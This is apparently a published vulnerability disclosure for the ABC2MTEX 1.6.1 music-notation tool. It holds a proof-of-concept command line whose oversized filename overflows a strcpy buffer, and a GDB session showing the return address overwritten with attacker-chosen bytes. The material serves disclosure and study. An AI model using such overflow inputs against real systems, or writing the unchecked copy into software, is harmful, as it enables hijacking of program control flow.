ABC2MTEX 1.6.1 - Command Line Stack Overflow

Exploit Title: ABC2MTEX 1.6.1 - Command Line Stack Overflow
Date: 2019-08-13
Exploit Author: Carter Yagemann <[email protected]>
Vendor Homepage: https://abcnotation.com/abc2mtex/
Software Link: https://github.com/mudongliang/source-packages/raw/master/CVE-2004-1257/abc2mtex1.6.1.tar.gz
Version: 1.6.1
Tested on: Debian Buster

An unsafe strcpy at abc.c:241 allows an attacker to overwrite the return
address from the openIn function by providing a long input filename. This
carries similar risk to CVE-2004-1257.

Setup:

$ wget https://github.com/mudongliang/source-packages/raw/master/CVE-2004-1257/abc2mtex1.6.1.tar.gz
$ tar -xzf abc2mtex1.6.1.tar.gz
$ make

$ gcc --version
gcc (Debian 8.3.0-6) 8.3.0
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.

PoC:

$ ./abc2mtex AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFEDCBA

GDB:

We're going to place a breakpoint before and after abc.c:241 to show the overflow.

$ gdb -q ./abc2mtex
Reading symbols from ./abc2mtex...done.
(gdb) break abc.c:241
Breakpoint 1 at 0x4139: file abc.c, line 241.
(gdb) break abc.c:242
Breakpoint 2 at 0x414c: file abc.c, line 242.
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFEDCBA
Starting program: /tmp/tmp.4jy8nhwOI3/abc2mtex AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFEDCBA

Breakpoint 1, openIn (filename=0x7fffffffe240 'A' <repeats 120 times>, "FEDCBA") at abc.c:241
241                     (void) strcpy(savename,filename);
(gdb) bt
#0  openIn (filename=0x7fffffffe240 'A' <repeats 120 times>, "FEDCBA") at abc.c:241
#1  0x0000555555556f00 in main (argc=2, argv=0x7fffffffe4f8) at fields.c:273
(gdb) c
Continuing.

Breakpoint 2, openIn (filename=0x7fffffffe240 'A' <repeats 120 times>, "FEDCBA") at abc.c:242
242                     (void) strcat(filename,".abc");
(gdb) bt
#0  openIn (filename=0x7fffffffe240 'A' <repeats 120 times>, "FEDCBA") at abc.c:242
#1  0x0000414243444546 in ?? ()
#2  0x00007fffffffe4f8 in ?? ()
#3  0x0000000200000000 in ?? ()
#4  0x0000000000000000 in ?? ()
(gdb) c
Continuing.
file "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFEDCBA" does not exist

Program received signal SIGSEGV, Segmentation fault.
0x0000414243444546 in ?? ()
(gdb) quit